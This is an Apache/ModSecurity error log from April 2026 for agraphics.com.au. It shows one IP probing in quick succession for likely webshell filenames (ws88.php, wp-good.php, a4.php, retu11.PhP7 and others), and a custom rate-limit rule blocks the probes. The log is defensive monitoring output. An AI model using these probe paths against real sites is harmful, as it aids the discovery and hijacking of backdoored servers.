[Thu Apr 23 10:42:24.184426 2026] [:error] [pid 42973:tid 43060] [client 20.216.138.65:30440] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aemHEG6I0QqmmmLTHE0eOAAAAJE"]
[Thu Apr 23 10:42:24.701121 2026] [:error] [pid 42971:tid 43003] [client 20.216.138.65:30408] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aemHEDEP2_5RswrH8bHv5gAAABE"]
[Thu Apr 23 10:42:25.259984 2026] [:error] [pid 42971:tid 42995] [client 20.216.138.65:36115] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aemHETEP2_5RswrH8bHv6AAAAAk"]
[Thu Apr 23 10:42:25.772620 2026] [:error] [pid 59700:tid 59721] [client 20.216.138.65:30457] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aemHEZXyGZJFeAIDWtmxeAAAAVM"]
[Thu Apr 23 10:42:26.385477 2026] [:error] [pid 59700:tid 59714] [client 20.216.138.65:27325] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aemHEpXyGZJFeAIDWtmxfAAAAUw"]
[Thu Apr 23 10:42:26.947461 2026] [:error] [pid 59700:tid 59726] [client 20.216.138.65:54511] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aemHEpXyGZJFeAIDWtmxfwAAAVg"]
[Thu Apr 23 10:42:27.500063 2026] [:error] [pid 65000:tid 65046] [client 20.216.138.65:34308] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aemHE76vRb9j6psK2ZY24wAAAg0"]
[Thu Apr 23 10:42:28.041781 2026] [proxy_fcgi:error] [pid 64998:tid 65010] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:28.294591 2026] [proxy_fcgi:error] [pid 64998:tid 65015] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:28.564284 2026] [proxy_fcgi:error] [pid 64998:tid 65026] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:28.812888 2026] [proxy_fcgi:error] [pid 64998:tid 65011] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:29.296855 2026] [proxy_fcgi:error] [pid 64998:tid 65021] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:29.546227 2026] [proxy_fcgi:error] [pid 64998:tid 65003] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:30.054364 2026] [proxy_fcgi:error] [pid 64998:tid 65023] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:30.313481 2026] [proxy_fcgi:error] [pid 64998:tid 65018] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:30.566607 2026] [proxy_fcgi:error] [pid 64998:tid 65010] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:30.815201 2026] [proxy_fcgi:error] [pid 64998:tid 65015] [client 20.216.138.65:30448] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:42:31.065729 2026] [:error] [pid 64998:tid 65004] [client 20.216.138.65:30448] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aemHF4V5EysYcTLjmwiktwAAAcI"]
[Thu Apr 23 10:42:31.622679 2026] [:error] [pid 65000:tid 65043] [client 20.216.138.65:34353] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aemHF76vRb9j6psK2ZY27QAAAgo"]
[Thu Apr 23 10:42:32.149035 2026] [:error] [pid 65000:tid 65045] [client 20.216.138.65:34315] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aemHGL6vRb9j6psK2ZY27gAAAgw"]
[Thu Apr 23 10:42:32.648164 2026] [:error] [pid 42971:tid 42998] [client 20.216.138.65:30430] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aemHGDEP2_5RswrH8bHv7AAAAAw"]
[Thu Apr 23 10:42:33.214144 2026] [:error] [pid 65000:tid 65051] [client 20.216.138.65:27286] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aemHGb6vRb9j6psK2ZY28gAAAhI"]
[Thu Apr 23 10:42:33.701324 2026] [:error] [pid 64998:tid 65019] [client 20.216.138.65:36151] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aemHGYV5EysYcTLjmwikuQAAAdE"]
[Thu Apr 23 10:42:34.259089 2026] [:error] [pid 65000:tid 65039] [client 20.216.138.65:30436] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aemHGr6vRb9j6psK2ZY29AAAAgY"]
[Thu Apr 23 10:42:34.934167 2026] [:error] [pid 65000:tid 65041] [client 20.216.138.65:54470] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aemHGr6vRb9j6psK2ZY29wAAAgg"]
[Thu Apr 23 10:42:35.426042 2026] [:error] [pid 65000:tid 65052] [client 20.216.138.65:27276] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aemHG76vRb9j6psK2ZY2-QAAAhM"]
[Thu Apr 23 10:42:35.951315 2026] [:error] [pid 65000:tid 65032] [client 20.216.138.65:27265] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aemHG76vRb9j6psK2ZY2_QAAAgM"]
[Thu Apr 23 10:42:36.613106 2026] [:error] [pid 42973:tid 43065] [client 20.216.138.65:27298] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aemHHG6I0QqmmmLTHE0eUwAAAJY"]
[Thu Apr 23 10:42:37.256690 2026] [:error] [pid 59700:tid 59714] [client 20.216.138.65:54492] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aemHHZXyGZJFeAIDWtmxhQAAAUw"]
[Thu Apr 23 10:42:37.802899 2026] [:error] [pid 42972:tid 43027] [client 20.216.138.65:30409] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aemHHcOAb-3sOknsk4dYLQAAAEs"]
[Thu Apr 23 10:42:38.449892 2026] [:error] [pid 43083:tid 43104] [client 20.216.138.65:30407] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aemHHjC5hrvNXosL83IvywAAANM"]
[Thu Apr 23 10:42:39.080732 2026] [:error] [pid 42972:tid 43022] [client 20.216.138.65:30447] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aemHH8OAb-3sOknsk4dYLwAAAEY"]
[Thu Apr 23 10:42:39.680733 2026] [:error] [pid 42973:tid 43057] [client 20.216.138.65:11217] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aemHH26I0QqmmmLTHE0eVwAAAI4"]
[Thu Apr 23 10:42:40.403106 2026] [:error] [pid 42973:tid 43052] [client 20.216.138.65:34306] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aemHIG6I0QqmmmLTHE0eWQAAAIk"]
[Thu Apr 23 10:42:41.011034 2026] [:error] [pid 65000:tid 65045] [client 20.216.138.65:54520] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aemHIb6vRb9j6psK2ZY3AQAAAgw"]
[Thu Apr 23 10:42:41.751507 2026] [:error] [pid 42971:tid 42988] [client 20.216.138.65:34367] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aemHITEP2_5RswrH8bHv8AAAAAI"]
[Thu Apr 23 10:42:42.513023 2026] [:error] [pid 42971:tid 43002] [client 20.216.138.65:34345] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aemHIjEP2_5RswrH8bHv8QAAABA"]
[Thu Apr 23 10:42:43.124748 2026] [:error] [pid 46953:tid 46964] [client 20.216.138.65:30437] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aemHI0nlpdHh-P6wKbra5gAAAkg"]
[Thu Apr 23 10:42:43.775196 2026] [:error] [pid 46953:tid 46968] [client 20.216.138.65:34366] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aemHI0nlpdHh-P6wKbra5wAAAkw"]
[Thu Apr 23 10:42:44.607713 2026] [:error] [pid 65000:tid 65041] [client 20.216.138.65:27293] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aemHJL6vRb9j6psK2ZY3BAAAAgg"]
[Thu Apr 23 10:42:45.303441 2026] [:error] [pid 42971:tid 43000] [client 20.216.138.65:27303] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aemHJTEP2_5RswrH8bHv8gAAAA4"]
[Thu Apr 23 10:42:45.938958 2026] [:error] [pid 65000:tid 65052] [client 20.216.138.65:11232] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aemHJb6vRb9j6psK2ZY3BQAAAhM"]
[Thu Apr 23 10:42:46.592435 2026] [:error] [pid 59700:tid 59705] [client 20.216.138.65:34321] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aemHJpXyGZJFeAIDWtmxiQAAAUM"]
[Thu Apr 23 10:42:47.181621 2026] [:error] [pid 42971:tid 43004] [client 20.216.138.65:27311] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aemHJzEP2_5RswrH8bHv8wAAABI"]
[Thu Apr 23 10:42:47.725086 2026] [:error] [pid 43083:tid 43097] [client 20.216.138.65:30431] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aemHJzC5hrvNXosL83Iv0QAAAMw"]
[Thu Apr 23 10:42:48.287243 2026] [:error] [pid 65000:tid 65032] [client 20.216.138.65:11207] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aemHKL6vRb9j6psK2ZY3BwAAAgM"]
[Thu Apr 23 10:42:48.959009 2026] [:error] [pid 64998:tid 65005] [client 20.216.138.65:30428] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aemHKIV5EysYcTLjmwikvAAAAcM"]
[Thu Apr 23 10:42:49.550839 2026] [:error] [pid 64998:tid 65017] [client 20.216.138.65:30413] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aemHKYV5EysYcTLjmwikvQAAAc8"]
[Thu Apr 23 10:42:50.282311 2026] [:error] [pid 42973:tid 43051] [client 20.216.138.65:27326] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aemHKm6I0QqmmmLTHE0eXwAAAIg"]
[Thu Apr 23 10:42:50.854115 2026] [:error] [pid 65000:tid 65048] [client 20.216.138.65:11245] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aemHKr6vRb9j6psK2ZY3CgAAAg8"]
[Thu Apr 23 10:42:51.623325 2026] [:error] [pid 59700:tid 59708] [client 20.216.138.65:27268] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aemHK5XyGZJFeAIDWtmxjAAAAUY"]
[Thu Apr 23 10:42:52.222439 2026] [:error] [pid 42973:tid 43048] [client 20.216.138.65:27301] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aemHLG6I0QqmmmLTHE0eYAAAAIU"]
[Thu Apr 23 10:42:52.805022 2026] [:error] [pid 42973:tid 43053] [client 20.216.138.65:27310] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aemHLG6I0QqmmmLTHE0eYwAAAIo"]
[Thu Apr 23 10:42:53.486221 2026] [:error] [pid 59700:tid 59716] [client 20.216.138.65:11244] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aemHLZXyGZJFeAIDWtmxjQAAAU4"]
[Thu Apr 23 10:42:54.185188 2026] [:error] [pid 59700:tid 59710] [client 20.216.138.65:27327] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aemHLpXyGZJFeAIDWtmxjgAAAUg"]
[Thu Apr 23 10:42:54.915685 2026] [:error] [pid 42973:tid 43057] [client 20.216.138.65:27308] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aemHLm6I0QqmmmLTHE0eaAAAAI4"]
[Thu Apr 23 10:42:55.662603 2026] [:error] [pid 42973:tid 43061] [client 20.216.138.65:34325] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aemHL26I0QqmmmLTHE0ebAAAAJI"]
[Thu Apr 23 10:42:56.353427 2026] [:error] [pid 65000:tid 65045] [client 20.216.138.65:30456] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aemHML6vRb9j6psK2ZY3DAAAAgw"]
[Thu Apr 23 10:42:56.985115 2026] [:error] [pid 42973:tid 43051] [client 20.216.138.65:30419] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aemHMG6I0QqmmmLTHE0ebQAAAIg"]
[Thu Apr 23 10:42:57.611827 2026] [:error] [pid 59700:tid 59703] [client 20.216.138.65:30403] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aemHMZXyGZJFeAIDWtmxkAAAAUE"]
[Thu Apr 23 10:42:58.146153 2026] [:error] [pid 42973:tid 43049] [client 20.216.138.65:27267] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aemHMm6I0QqmmmLTHE0ebgAAAIY"]
[Thu Apr 23 10:42:58.798781 2026] [:error] [pid 43083:tid 43088] [client 20.216.138.65:27314] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aemHMjC5hrvNXosL83Iv2AAAAMM"]
[Thu Apr 23 10:42:59.327951 2026] [:error] [pid 59700:tid 59725] [client 20.216.138.65:30425] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aemHM5XyGZJFeAIDWtmxkgAAAVc"]
